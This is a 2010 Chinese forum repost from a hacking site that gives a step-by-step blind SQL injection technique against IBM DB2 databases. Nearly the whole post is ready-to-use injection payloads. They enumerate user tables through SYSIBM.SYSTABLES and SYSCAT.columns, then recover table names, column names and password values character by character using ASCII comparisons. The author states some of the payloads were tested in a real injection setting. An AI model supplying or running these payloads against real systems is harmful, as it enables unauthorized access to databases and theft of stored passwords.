|
发表于 2010-1-20 16:14:18
|显示全部楼层
转自:[朱总司令]
DB2数据库ASCII半折法注射方法
UNION方式暂没空研究,有空再折腾,项目里遇到DB2的数据库,网上没完整的资料,顺手整了这一份,第一条和第二条已在实际注射环境测试,其余各条在查询分析器中测试OK。
做人要厚道,转载请注明出处
猜用户表数量:
and 0<(SELECT count(NAME) FROM SYSIBM.SYSTABLES where CREATOR=USER)
猜表长度:
and 3<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)
猜表第一个字符ASCII码:
and 3<(SELECT ASCII(SUBSTR(NAME,1,1)) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)
猜表内列名数量:
and 1<(SELECT COUNT(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘)
猜第一个列名的长度
and 1<(SELECT LENGTH(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)
猜第一个列名第一个字符的ASCII码
and 1<(SELECT ASCII(SUBSTR(COLNAME,1,1)) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)
依ID排降序,猜第一个PASSWD的长度
and 0<(SELECT LENGTH(PASSWD) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)
依ID排降序,猜第一个PASSWD第一个字符的ASCII码
and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)
猜第二个PASSWD第一个字符的ASCII码
and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE where PASSWD not in(’grou1‘) fetch first 1 rows only)
本篇文章来源于 新世纪网安基地 (www.520hack.com) 原文出处:http://www.520hack.com/Article/Text2/dos/200910/16192.html |
|